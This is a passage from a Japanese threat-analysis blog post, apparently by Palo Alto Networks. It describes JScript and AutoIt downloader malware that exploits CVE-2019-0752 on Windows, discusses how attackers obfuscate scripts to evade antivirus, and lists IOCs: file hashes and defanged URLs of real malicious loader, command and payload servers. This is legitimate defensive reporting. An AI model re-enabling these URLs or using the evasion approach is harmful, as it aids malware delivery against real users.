さらに、攻撃者は多様な手法およびツールを使用して、悪意のあるスクリプトを難読化できます。たとえば攻撃者がすばやく成果を得ることを主に求めているのであればMicrosoftのスクリプトエンコーディングのような非常に単純なツールを使用でき、またはアナリストが難読化の解除に苦戦するような非常に強力な難読化を実行することもできます。これもまた、スクリプトがいかに柔軟であるかを示しています。
最後に、悪意のあるスクリプトでは、攻撃者は必要であれば非常に強力な難読化を実行できます。つまり、悪意のあるスクリプトはさまざまな検知を回避し、マルウェア対策テクノロジを迂回することが可能です。スクリプトベースのマルウェアが防御側により検知され、マルウェアとしてタグ付けされても、スクリプト言語を使用していれば、攻撃者は簡単かつすばやく新たな亜種を開発し、現在の検知を回避することができます。
結論 ここで紹介した2つのサンプルは、攻撃者がどのようにスクリプトを使用して標的となるWindowsマシン上で悪意のある活動を行いうるかを示すものでした。これらのスクリプトにとくに目新しい技法はありませんでしたが、攻撃者にとっては柔軟性が高く、利用しやすいという利点があります。ここまでの分析で見てきたように、こうした利点を活かせば、コマンド実行で潜在的には標的のマシンを完全に自身の制御下におくことができることから、攻撃者はスクリプト系マルウェアを選んでいるものと考えられます。
安全なWebブラウジングのためのセキュリティのベストプラクティス に従い、最新Windowsホストを使用している組織であれば感染リスクは大きく低下します。パロアルトネットワークスのお客様は、この脅威からさらに保護されています。お客様は弊社のIPSシグネチャ55438により、CVE-2019-0752脆弱性から守られています。URLフィルタリング、WildFireもここで説明した攻撃からお客様を保護しています。
IOC JScriptのサンプル SHA256ハッシュ c.js:
751D161ED4AFD822925C0373395F014578F166467D20A4B1ADFDB27FD0A83C36
loader.jse:
CCCF25DCD1FA16017B2ACCF4BC501BE583824423FC3A09779116AE07D833F2B2
HTTP URL hxxp://assurancetemporaireenligne[.]com/c[.]js
hxxp://seemee[.]ddns[.]net/loader/loader2/www/loader[.]php
hxxp://seemee[.]ddns[.]net/loader/loader2/www/cmd[.]php
AutoITダウンローダーのサンプル SHA256ハッシュ 2.exe:
BA60EFE2E939DA16E3D240732FDA286FBD3DB3A0F06CB12D7042C7FAC9B82B86
HTTP URL hxxp://dark[.]crypterfile[.]com/2[.]exe
hxxp://dark[.]crypterfile[.]com/1/desktop[.]exe
hxxp://dark[.]crypterfile[.]com/1/99[.]exe
hxxp://dark[.]crypterfile[.]com/1/Calc[.]vbs
hxxp://dark[.]crypterfile[.]com/1/calculator[.]exe
hxxp://dark[.]crypterfile[.]com/1/calc[.]exe